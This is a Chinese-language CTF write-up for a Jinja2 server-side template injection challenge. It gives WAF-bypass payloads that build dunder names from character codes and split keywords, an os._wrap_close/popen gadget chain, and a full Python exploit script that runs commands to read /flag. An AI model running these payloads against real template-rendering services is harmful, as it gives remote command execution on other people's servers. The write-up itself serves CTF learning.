题目概述
题目名称: EZ SSTI CTF (Echo's SSTI)
题目地址: http://114.66.38.239:13337
题目类型: Web / Python Jinja2 模板注入
这是一个典型的Python Jinja2模板注入挑战,页面提供了模板输入框,我们需要绕过WAF防护并读取服务器上的Flag。
接口: POST /render
参数: {"template": "payload"}
漏洞探测
首先尝试基础的 SSTI Payload:{{ 7*7 }},返回结果为 49,确认存在 SSTI 漏洞。
WAF 探测
尝试读取配置信息 {{ config }},发现返回为空或报错,说明存在 WAF。经过 Fuzz 测试,发现以下关键字被过滤:
os,popen,system,eval,execcat,flag__(双下划线)
绕过思路
4.1 绕过双下划线 (__)
Jinja2 允许使用字符串格式化来构造字符。我们可以使用 "%c%c"%(95,95) 来生成 __,配合 attr() 过滤器,动态访问属性:
{{ ()|attr("__class__") }}
等价于:
{% set u = "%c%c"%(95,95) %}{{ ()|attr(u~"class"~u) }}
4.2 绕过关键字 (os, popen, flag 等)
Jinja2 支持字符串拼接 (~),我们可以将敏感词拆分:
popen->"pop" ~ "en"/flag->"/fl" ~ "ag"os-> 只要能找到os模块引用的类,就不需要直接输入os字符串
4.3 寻找利用链 (Gadget Chain)
我们需要找到一个能够执行命令的类。常用的利用链是通过 __subclasses__ 寻找 os._wrap_close 类。该类的 __init__.__globals__ 包含了 popen 函数,可以用来执行命令。
步骤:
1. 获取基类: ().__class__.__base__
2. 获取子类列表: ().__class__.__base__.__subclasses__()
3. 遍历列表找到 os._wrap_close
4. 利用 os._wrap_close 的 __init__.__globals__['popen'] 执行命令
解题脚本 (Exp)
由于 WAF 过滤了 __,我们需要用脚本自动化生成 Payload 并寻找 os._wrap_close 的索引。
脚本逻辑
- 发送 Payload 获取所有子类列表
- 在返回结果中解析出
os._wrap_close的索引 (本环境中为 134) - 构造 RCE Payload:
- 使用
head命令代替cat(防止cat被过滤) - 拼接字符串绕过关键字
- 执行
head /flag并读取结果
Payload 核心部分
{% set u = "%c%c"%(95,95) %}
{% set c = u ~ "class" ~ u %}
{% set b = u ~ "base" ~ u %}
{% set s = u ~ "subclasses" ~ u %}
{% set i = u ~ "init" ~ u %}
{% set g = u ~ "globals" ~ u %}
{% set p = "pop" ~ "en" %}
{% set cmd = "head /fl" ~ "ag" %}
{% set classes = ()|attr(c)|attr(b)|attr(s)() %}
{% set target = classes[134] %}
{% set po = target|attr(i)|attr(g) %}
{{ po[p](cmd).read() }}
完整代码
import requests
import re
import sys
# 题目地址
URL = "http://114.66.38.239:13337/render"
HEADERS = {
"Content-Type": "application/json"
}
def send_payload(payload):
"""发送Payload并返回响应"""
try:
data = {"template": payload}
response = requests.post(URL, json=data, headers=HEADERS, timeout=10)
if response.status_code == 200:
return response.json()
else:
print(f"[-] HTTP错误 {response.status_code}: {response.text}")
return None
except Exception as e:
print(f"[-] 请求失败: {e}")
return None
def find_gadget_index():
"""绕过WAF,获取os._wrap_close类的索引"""
print("[*] 正在获取内置类列表...")
# 绕过__的Payload
payload = """
{% set u = "%c%c"%(95,95) %}
{% set c = u ~ "class" ~ u %}
{% set b = u ~ "base" ~ u %}
{% set s = u ~ "subclasses" ~ u %}
{{ ()|attr(c)|attr(b)|attr(s)() }}
"""
response = send_payload(payload)
if not response or 'result' not in response:
print("[-] 无法获取类列表")
return -1
result_str = response['result']
result_str = result_str.replace('<', '<').replace('>', '>').replace(''', "'").replace('"', '"')
# 查找os._wrap_close对应的索引
target_index = -1
classes = re.findall(r"\'<(.*?)\'>", result_str)
if not classes:
classes = re.findall(r'\"<(.*?)>\"', result_str)
for i, name in enumerate(classes):
if 'os._wrap_close' in name:
target_index = i
print(f"[+] 找到os._wrap_close,索引: {i}")
return target_index
if 'subprocess.Popen' in name:
target_index = i
print(f"[+] 找到subprocess.Popen,索引: {i}")
return target_index
print("[-] 未找到os._wrap_close或subprocess.Popen")
return -1
def exploit(index):
"""执行Exploit,读取根目录flag"""
print("[*] 正在执行Exploit...")
# 绕过WAF的Payload
payload = """
{% set u = "%c%c"%(95,95) %}
{% set c = u ~ "class" ~ u %}
{% set b = u ~ "base" ~ u %}
{% set s = u ~ "subclasses" ~ u %}
{% set i = u ~ "init" ~ u %}
{% set g = u ~ "globals" ~ u %}
{% set p = "pop" ~ "en" %}
{% set cmd = "head /fl" ~ "ag" %}
{% set classes = ()|attr(c)|attr(b)|attr(s)() %}
{% set target = classes["" + str(index) + ""] %}
{% set po = target|attr(i)|attr(g) %}
{{ po[p](cmd).read() }}
"""
response = send_payload(payload)
if response and 'result' in response:
print("\n" + "="*20 + " FLAG " + "="*20)
print(response['result'].strip())
print("="*46 + "\n")
return True
else:
print("[-] Exploit失败")
if response:
print(f"响应: {response}")
return False
if __name__ == "__main__":
print(f"目标地址: {URL}")
idx = find_gadget_index()
if idx != -1:
exploit(idx)
else:
print("[-] 无法继续执行")
结果展示
运行脚本成功获取 Flag:
目标地址: http://114.66.38.239:13337/render
[*] 正在获取内置类列表...
[+] 找到os._wrap_close,索引: 134
[*] 正在执行Exploit...
==================== FLAG ====================
flag{……}
==============================================
版权声明:如无特殊说明,文章均为本站原创,转载请注明出处
本文链接:https://www.palpitate.site/wiki/subject/article/WEB/
许可协议:署名-非商业性使用 4.0 国际许可协议